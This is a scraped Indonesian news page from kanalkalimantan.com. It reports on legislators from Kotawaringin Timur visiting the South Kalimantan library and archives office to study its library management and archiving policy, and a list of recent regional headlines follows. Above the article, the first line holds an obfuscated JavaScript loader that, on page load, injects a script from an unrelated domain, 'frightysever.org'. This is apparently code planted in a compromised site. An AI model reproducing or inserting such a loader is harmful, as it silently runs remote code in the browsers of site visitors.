(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Wakil Rakyat Kotim Lihat Pengelolaan Perpustakaan Palnam


KANALKALIMANTAN.COM, BANJARMASIN – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kotawaringin Timur (Kotim) berkunjung ke Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel pada Kamis (7/10/2021).

Rombongan wakil rakyat Kotim tersebut dipimpin Ketua DPRD Kotim, Rinie bersama anggota Komisi III DPRD Kotim didampingi Dispersip Kabupaten Kotim diterima Sekretaris Dispersip Kalsel, M Ramadhan.

Ketua DPRD Kabupaten Kotim, Rinie memberikan apresiasi kepada Dispersip Kalsel dalam upaya meningkatkan minat baca dan literasi di Kalsel.

“Dari apa yang kami lihat dan paparan yang disampaikan Dispersip Kalsel, sungguh luar biasa. Apa yang kami dapatkan di sini juga dapat diterapkan di Kabupaten Kotim,” harapnya.

Baca juga : Masyarakat Gambut Antusias Ikut Vaksin di DPD Gerindra Kalsel

Rombongan wakil rakyat Kabupaten Kotim diajak berkeliling lingkungan kantor Dispersip Kalsel dan beberapa ruangan untuk melihat langsung kegiatan pengelolaan perpustakaan.

Dalam kunjungan kerja itu, ada beberapa pertanyaan dari wakil rakyat Kotim.

“Bagaimana strategi penganggaran, baik untuk kegiatan perpustakaan maupun kearsipan dan hal-hal teknis lainnya, khususnya mengenai kebijakan peraturan di bidang kearsipan, ” tanya perwakilan DPRD Kabupaten Kotim.

Menanggapi hal tersebut, Sekretaris Dispersip Kalsel, M Ramadhan mengatakan, langkah-langkah ataupun strategi telah ditempuh Dispersip Kalsel dalam rangka peningkatan kinerja, capaian prestasi yang berhasil didapatkan dan hal lain yang bisa menjadi inspirasi bagi daerah lain.

Untuk diketahui, Perda Provinsi Kalsel Nomor 1 tahun 2017 tentang penyelenggaraan kearsipan dibuat sebagai pedoman bagi penyelenggaraan kearsipan yang komprehensif dan terpadu di daerah. Selain itu, guna mewujudkan ketersediaan arsip yang autentik sebagai alat bukti yang sah. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Desy Arfianty

Recent Posts

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

3 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

3 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

5 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

7 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

7 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

8 jam ago

This website uses cookies.